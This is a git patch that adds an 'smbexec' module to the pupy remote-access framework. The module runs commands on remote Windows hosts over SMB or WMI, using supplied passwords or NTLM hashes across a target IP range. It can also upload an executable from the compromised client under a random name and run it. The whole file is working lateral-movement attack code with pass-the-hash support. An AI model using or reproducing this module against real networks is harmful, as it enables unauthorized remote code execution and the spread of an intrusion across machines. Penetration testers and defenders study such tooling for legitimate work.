From 8ece87c971bf4abf244ef71e07ecfb45c42c36ab Mon Sep 17 00:00:00 2001
From: Alessandro ZANNI <alessandro.zanni@bt.com>
Date: Fri, 7 Oct 2016 00:42:17 +0200
Subject: [PATCH] smbexec

---
 pupy/modules/smbexec.py | 79 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)
 create mode 100644 pupy/modules/smbexec.py

diff --git a/pupy/modules/smbexec.py b/pupy/modules/smbexec.py
new file mode 100644
index 00000000..ca7e56bf
--- /dev/null
+++ b/pupy/modules/smbexec.py
@@ -0,0 +1,79 @@
+# -*- coding: UTF8 -*-
+# Author: byt3bl33d3r and Shawn Evans
+# Version used from the "rewrite" branch of smbexec written by byt3bl33d3r 
+from pupylib.PupyModule import *
+from pupylib.utils.rpyc_utils import redirected_stdo
+import pupygen
+import re
+import os
+import tempfile
+import random
+import string
+from rpyc.utils.classic import upload
+
+__class_name__="SMBExec"
+
+@config(cat="admin")
+class SMBExec(PupyModule):
+    """ Launch remote commands using smbexec or wmiexec"""
+
+    def init_argparse(self):
+        
+        self.arg_parser = PupyArgumentParser(prog="smbexec", description=self.__doc__)
+        self.arg_parser.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed")
+        self.arg_parser.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password")
+        self.arg_parser.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash')
+        self.arg_parser.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
+        self.arg_parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default C$)")
+        self.arg_parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)")
+        self.arg_parser.add_argument("target", nargs=1, type=str, help="The target range or CIDR identifier")
+
+        sgroup = self.arg_parser.add_argument_group("Command Execution", "Options for executing commands on the specified host")
+        sgroup.add_argument("-F", dest="file", default=None, help="Upload and execute an exe file")
+        sgroup.add_argument('-execm', choices={"smbexec", "wmi"}, dest="execm", default="smbexec", help="Method to execute the command (default: smbexec)")
+        sgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute a command")
+        
+    def run(self, args):
+
+        if "/" in args.target[0]:
+            hosts = IPNetwork(args.target[0])
+        else:
+            hosts = list()
+            hosts.append(args.target[0])
+        
+        src = ''
+        dst = ''
+        exe_name = ''
+        if args.file:
+            if not os.path.exists(args.file):
+                self.error('File not found: %s' % args.file)
+                return
+
+            if not args.file.endswith('.exe'):
+                self.error('Only executable files could be uploaded')
+                return
+
+            exe_name = ''.join(random.sample(string.ascii_letters, 10)) + '.exe'
+            if self.client.is_windows():
+                remote_path = '%s\\%s' % (self.client.conn.modules['os.path'].expandvars("%ALLUSERSPROFILE%"), exe_name) # Do a remote path for linux machine
+            else:
+                remote_path = '/tmp/%s' % exe_name
+
+            self.info("Uploading file to {0}".format(remote_path))
+            upload(self.client.conn, args.file, remote_path)
+            self.info("File uploaded")
+            
+            # once uploaded, this file has to be uploaded to the windows share
+            src = remote_path
+            dst = '%s\\%s' % (args.share.replace('$', ':'), exe_name)
+
+        self.info("Loading dependencies")
+        self.client.load_package("impacket")
+        self.client.load_package("calendar")
+        self.client.load_package("pupyutils.smbexec")
+
+        with redirected_stdo(self.client.conn):
+            for host in hosts:
+                self.info("Connecting to the remote host: %s" % host)
+                self.client.conn.modules["pupyutils.smbexec"].connect(host, args.port, args.user, args.passwd, args.hash, args.share, args.file, exe_name, src, dst, args.command, args.domain, args.execm)
+    
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